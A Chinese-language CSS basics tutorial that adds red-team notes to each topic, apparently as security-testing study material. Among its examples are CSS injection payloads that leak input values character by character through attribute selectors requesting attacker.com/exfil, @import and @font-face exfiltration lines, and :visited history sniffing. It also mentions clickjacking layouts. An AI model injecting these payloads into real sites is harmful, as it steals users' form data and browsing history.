目录


一、CSS语法基础

选择器 {
  属性: 值;
  属性: 值;
}

三种引入方式:

1. 外部样式表

<link rel="stylesheet" href="style.css">

2. 内联样式

<div style="color: red; font-size: 16px;">

3. 内部样式表

<style>
  body { background: #fff; }
  .container { max-width: 1200px; }
</style>

红队关注:内联样式是通过style属性注入CSS的入口。内部样式表是通过style标签注入的入口。

二、选择器全套语法

基础选择器

选择器匹配目标示例
*所有元素* { margin: 0 }
tag标签名div { }
.classclass属性.active { }
#idid属性#login { }
[attr]有某属性[hidden] { }
[attr=val]属性等于某值[type="password"] { }

组合选择器

组合符含义示例
A BA的后代Bdiv p { }
A > BA的直接子Bform > input { }
A + BA之后的兄弟Bh2 + p { }
A ~ BA之后所有兄弟Bh2 ~ p { }
A, B并列h1, h2 { }

属性选择器进阶

[attr^="val"]     /* 以val开头 */
[attr$="val"]     /* 以val结尾 */
[attr*="val"]     /* 包含val */
[attr~="val"]     /* 包含独立单词val */
[attr|="val"]     /* val 或 val-开头 */
 
/* 红队应用:CSS注入中,利用 ^= 和 $= 判断属性值的前缀/后缀 */
input[value^="a"] { background: url('https://attacker.com/exfil?a'); }
input[value^="b"] { background: url('https://attacker.com/exfil?b'); }
/* 如果value以'a'开头,浏览器会请求 attacker.com/exfil?a */
/* 由此逐字符判断input的value属性 */

三、优先级(Specificity)

当多个规则冲突时,按优先级决定:

!important > 内联style > #id > .class/[attr]/:pseudo > tag

计算方式((a, b, c, d)):

  • a = 1 如果有 !important
  • b = ID选择器数量
  • c = class/属性/伪类数量
  • d = 标签/伪元素数量
#login form input[type="text"]   /* (0,1,0,2) */
.login input                     /* (0,0,1,1) */
form input                       /* (0,0,0,2) */

红队应用:CSS注入时,利用!important覆盖原有样式,强制触发背景图请求。

四、盒模型与布局

盒模型

+-----------------------------+
|         margin              |
|  +-----------------------+  |
|  |       border          |  |
|  |  +-----------------+  |  |
|  |  |    padding      |  |  |
|  |  |  +----------+   |  |  |
|  |  |  | content  |   |  |  |
|  |  |  +----------+   |  |  |
|  |  +-----------------+  |  |
|  +-----------------------+  |
+-----------------------------+

关键属性:width, height, padding, border, margin, box-sizing

定位系统

position值参照物脱离文档流
static默认,按文档流
relative自身原位置否(占位保留)
absolute最近的非static祖先
fixed视口(viewport)
sticky滚动容器否(切换时)

显示与可见性

属性效果安全应用
display: none完全移除隐藏钓鱼页面元素
visibility: hidden不可见但占位隐形元素点击劫持
opacity: 0完全透明Clickjacking关键
z-index层叠顺序控制覆盖层次

五、CSS变量与自定义属性

:root {
  --primary-color: #3366ff;
  --token: "abc123";  /* 不能存敏感值,CSS非安全存储 */
}
 
.button {
  background: var(--primary-color);
}

红队应用:

  • CSS变量可以通过JS修改 → 动态样式 → 配合XSS
  • CSS变量的值可被getComputedStyle()读取 → 数据通道
  • CSS变量不应用作安全标记,因为可被任意注入的CSS覆盖

六、@规则(At-rules)

@import(最重要!)

/* 加载外部样式表 */
@import url('https://attacker.com/exfil');
@import 'https://attacker.com/exfil';
 
/* 条件加载 —— CSS数据泄露的核心! */
@import url('https://attacker.com/exfil') (min-width: 1px);

@media(媒体查询)

@media (max-width: 768px) {
  .sidebar { display: none; }
}
@media (prefers-color-scheme: dark) { }
@media (hover: hover) { }

@font-face(自定义字体)

@font-face {
  font-family: 'MyFont';
  src: url('https://attacker.com/font?data=exfiltrated');
}

@keyframes(动画)

@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}
/* 结合onanimationend实现无需用户交互的XSS触发 */

@supports(特性检测)

@supports (display: grid) {
  /* CSS Grid 可用 */
}

七、伪类与伪元素

交互伪类

伪类触发安全应用
:hover鼠标悬停悬停触发请求外泄
:focus获得焦点输入框聚焦探测
:active按下时点击行为记录
:visited已访问链接浏览器历史探测(已被限制)

结构伪类

伪类匹配安全应用
:first-child第一个子元素页面结构探测
:nth-child(n)第n个精确定位元素
:empty无子元素空元素探测

表单伪类

伪类匹配安全应用
:checked选中的复选框/单选框状态探测
:disabled禁用的表单元素功能探测
:required必填字段表单结构探测
:valid/:invalid有效/无效输入验证状态探测

历史探测(:visited)

/* 经典浏览器历史嗅探(现代浏览器已限制) */
a:visited { background: url('https://attacker.com/visited'); }
/* 检测用户是否访问过某URL */

现代浏览器已严格限制:visited可用的CSS属性(仅允许color系列),防止信息泄露。

八、红队视角总结

CSS基础速查

CSS概念红队用途
属性选择器根据属性值发起外泄请求
@import跨域加载,传递数据
@font-face通过字体URL外泄数据
@keyframes配合onanimationend实现无交互XSS触发
opacity/position/z-indexClickjacking布局
!important覆盖原有样式,确保payload生效
:hover :focus用户行为探测

对应工具

  • Chrome DevTools:Styles面板查看/修改CSS
  • CSS Injection Scanner(Burp插件)
  • CSS Exfil PoC:手动构造payload测试CSS数据泄露

返回 CSS基础总目录 | 前端基础总目录